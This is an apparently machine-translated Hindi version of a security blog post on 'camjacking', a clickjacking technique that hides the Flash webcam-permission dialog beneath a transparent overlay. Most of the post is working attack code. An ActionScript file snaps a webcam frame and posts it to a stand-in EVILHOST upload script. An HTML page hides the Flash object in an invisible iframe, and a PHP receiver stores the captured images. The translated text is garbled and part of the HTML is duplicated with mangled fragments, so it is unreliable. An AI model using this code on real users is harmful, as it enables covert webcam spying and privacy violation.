💕 👑 🤾🏾 कैंजैकिंग, क्लिकजैकिंग के विकास की तरह, या "गुलचैट!" अपना चेहरा खोलो! ” 🐜 🧣 🚣

इस पोस्ट में, मैंने एक नए हमले का सार समझाने की कोशिश की (हमला खुद नया नहीं है, लेकिन मुझे इसे कॉल करने दें)। बग विंडोज 7.8, मैक ओएस एक्स के लिए विशिष्ट है। हमें Google क्रोम, और फ्लैश की भी आवश्यकता है। विषय कुल निगरानी के विचार की चिंता करेगा, विशेष रूप से हाल के दिनों में लोकप्रिय।
रुचि रखते हैं? मैं बिल्ली माँगता हूँ।

यह एक साधारण रात थी, और जैसी कि उम्मीद थी, मैं कोड में चुन रहा था। मुझे यह भी याद नहीं है कि कौन सी रात थी, लेकिन रात ने एक भूमिका निभाई। क्या आपने कभी सोचा है: क्या फ़्लैश प्लेयर सुरक्षा संदेश को छिपाना संभव है जब एक फ्लैश फ़ाइल एक वेब कैमरा या माइक्रोफ़ोन तक पहुंचने की कोशिश करती है? हमेशा की तरह, इस तरह के विचार अनायास आते हैं, लेकिन कुछ ऐसा करने की कोशिश क्यों न करें जो इतनी अजीब तरह से आपके सिर में घूम गया? तो मैंने भी यही सोचा।

अस्पष्टता और एक फ्लैश कंटेनर (वेबकैम पर पहुंच का अनुरोध किया गया फ्लैश) के साथ एक साधारण पृष्ठ लिखा होने के बाद, यह देखा गया कि फ़ायरफ़ॉक्स 21, ओपेरा 12.15 या तो फ्लैश एनीमेशन की पारदर्शिता को अनदेखा करते हैं, या बस इसे गलत तरीके से करते हैं। लेकिन IE 10 और क्रोम 27.0.1453.110 ने पूरी तरह से पारदर्शिता को संभाला और पाठ और / या तस्वीर को अपने ऊपर रखने के लिए संभव बनाया। जो निस्संदेह वेब डिजाइनरों के साथ हाथ से चलेगा। लेकिन जो हासिल हुआ, उस पर टिकना दिलचस्प नहीं था और मैंने क्लिकजैकिंग आइडिया के रूप में हमले को कम करना शुरू कर दिया, लेकिन अपनी जरूरतों को पूरा करने के लिए इसे फिर से तैयार करना, यानी, हमलावर के लिए सभी "उपयोगी" कार्यों को उधार लेना।

मैंने वेब कैमरा तक पहुंच को चुना (बेशक, हम अभी भी माइक्रोफ़ोन तक पहुंच सकते हैं, लेकिन क्या यह तब महत्वपूर्ण था?)
इसलिए, मैंने एक साधारण फ्लैश ड्राइव लिखा जो वेब कैमरा का उपयोग करके एक चित्र लेता है और इसे सर्वर पर भेजता है।
मैं एक्शनस्क्रिप्ट में विशेषज्ञ नहीं हूं, इसलिए यदि आपको कोई शिकायत है, तो मैं कोड में सुधार करने के लिए तैयार हूं।

package{ import flash.display.BitmapData; import flash.display.Sprite; import flash.media.Camera; import flash.media.Video; import flash.net.*; import flash.utils.ByteArray; import flash.events.*; public class Main extends Sprite { private var cam:Camera; private var video:Video; private var bitmapdata:BitmapData; private var ba:ByteArray; private var url:URLRequest = new URLRequest("http://EVILHOST/upload.php"); //  upload.php (   ) private var wclose:URLRequest = new URLRequest("javascript:alert('Camjacked? Ok. |fil9{06.2013}|');"); private var loader : URLLoader = new URLLoader(); public function Main():void { run(); } private function run():void { cam = Camera.getCamera(); if(cam != null){ //   cam.addEventListener(ActivityEvent.ACTIVITY, activityHandler); video = new Video(640, 480); cam.setMode(640, 480, 60); //60 fps video.attachCamera(cam); } } private function activityHandler(event:ActivityEvent):void { // ""  bitmapdata = new BitmapData(video.width, video.height); bitmapdata.draw(video); ba = PNGEncoder.encode(bitmapdata); //Adobe PNGEncoder url.method = URLRequestMethod.POST; url.data = ba; loader.addEventListener(Event.COMPLETE, on_complete); loader.load(url); //  function on_complete(e : Event):void { navigateToURL(wclose, '_self'); // Alert } cam.removeEventListener(ActivityEvent.ACTIVITY, activityHandler); } } }

PNGEncoder को लें।
यहां फ्लैशडाउन प्रोजेक्ट

दुर्भाग्य से, अतिरिक्त परीक्षण करने के बाद, यह पता चला कि IE एक पारभासी तत्व के साथ बातचीत करने की अनुमति नहीं देता है, अर्थात, आप संवाद बॉक्स में क्लिक नहीं कर सकते।
चूंकि मेरे पास विंडोज 8 है, इसलिए इसके तहत परीक्षण धमाके के साथ बंद हो गए, हालांकि, विंडोज 7 पर डायलॉग बॉक्स गायब हो गया (अपारदर्शिता के साथ: 0) केवल माउस के साथ फ्लैश ड्राइव "चुने जाने" के बाद। लेकिन इस दुर्भाग्य के लिए भी उनकी "डर्टी हैक" (जिसके बारे में बाद में) हुई। जिसमें फ्लैश ड्राइव के शीर्ष पर पाठ की अस्वीकृति और फ्लैश ड्राइव के शीर्ष पर चित्रों को ओवरले करने का सुझाव दिया गया था।

हमारे पास है:

1) swf.html:

 <html> <body> <object width="270" height="270"> <param name="movie" value="camjack.swf"> <embed src="camjack.swf" width="270" height="270"> </embed> </object> </body> </html>

2) index.html:

 <html> <head> <script> var exit=function(){document.location='about:blank'}; //  ,    var tryimages=function(){ //easy hack.   ? return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ //   ;  Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/) //    { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) -  "". . . setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); setTimeout("document.getElementById('img').width=291",1000); setTimeout("document.getElementById('img').height=291",1070); // 70 }}; </script> <title>Camjacking simple example</title> <style> iframe { position: absolute; opacity: 0.0; z-index: 1; }; </style> </head> <body onload='load()'> <!-- PNG 1x1 --> <img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img> <iframe id='ifr' src='./swf.html' width='290' height='290'></iframe> <img id='img' src='./img.jpg' width='290' height='290'></img> </body> </html> = 'प्रदर्शन: कोई नहीं' src = 'डेटा: छवि / PNG; बेस 64, iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY / j // z8ABf4C / qc1gYQAAAAASUVORK5CYII ='> </ img> <html> <head> <script> var exit=function(){document.location='about:blank'}; //  ,    var tryimages=function(){ //easy hack.   ? return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ //   ;  Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/) //    { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) -  "". . . setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); setTimeout("document.getElementById('img').width=291",1000); setTimeout("document.getElementById('img').height=291",1070); // 70 }}; </script> <title>Camjacking simple example</title> <style> iframe { position: absolute; opacity: 0.0; z-index: 1; }; </style> </head> <body onload='load()'> <!-- PNG 1x1 --> <img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img> <iframe id='ifr' src='./swf.html' width='290' height='290'></iframe> <img id='img' src='./img.jpg' width='290' height='290'></img> </body> </html>

3) यहाँ img.jpg

4) upload.php:

 <?php $imgdata = file_get_contents('php://input'); //input raw POST data $length = 10; $randomString = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length); $imgname = "./images/".$randomString.".png"; if($imgdata){ file_put_contents($imgname, $imgdata); //PHP5 }; ?>

5) अपने आप को camjack.swf इकट्ठा करें।

6) $ mkdir ./images

यह सब कुछ, प्रेम के साथ, साइट के मूल में रखा गया है। हाँ, और upload.php के साथ साइट की जड़ में crossdomain.xml डालना न भूलें

सभी नृत्यों के बाद, विंडोज 8 में सब कुछ बहुत व्यक्तिगत दिखता था (अपारदर्शिता: 0.5):

एक छोटा सा उदाहरण साइट (धन्यवाद कोरोवकिन ) लॉन्च किया । यदि कुछ शुरू नहीं होता है, ठीक है, या शुरू होता है, तो कृपया सदस्यता समाप्त करें। कंप्यूटर की एक जोड़ी पर सब कुछ जांचा। ऊपर वर्णित प्रदर्शन में बहुत दर्दनाक और आत्मविश्वास नहीं है।

ऑनलाइन उदाहरण: http: // * / *

ऑनलाइन चित्र देखें: http: // * / *

आप सभी का धन्यवाद, परीक्षण पूरा हुआ।

खैर, कोड के साथ दो वीडियो।

विंडोज 7:

http://www.youtube.com/watch?v=hQj6bqTAXKQ

विंडोज 8:

http://www.youtube.com/watch?v=vuTd481N6Os

PS (एक लेखक के रूप में। आप पढ़ नहीं सकते हैं): ऐसा इसलिए हुआ कि स्कूल के बाद मैं अपने विशाल देश की सांस्कृतिक राजधानी में प्रवेश करने जा रहा हूं। जिसके सम्मान में मैं निम्नलिखित लिखता हूं: यदि आपको अपनी परियोजना के उच्च-गुणवत्ता वाले ऑडिट की आवश्यकता है, तो मैं आपको अपनी सेवाएं प्रदान कर सकता हूं। प्रोफ़ाइल में संपर्क।

UPD: Google ने एक अपडेट जारी किया है ।

आपका दिन शुभ हो!

कैंजैकिंग, क्लिकजैकिंग के विकास की तरह, या "गुलचैट!" अपना चेहरा खोलो! ”

More articles: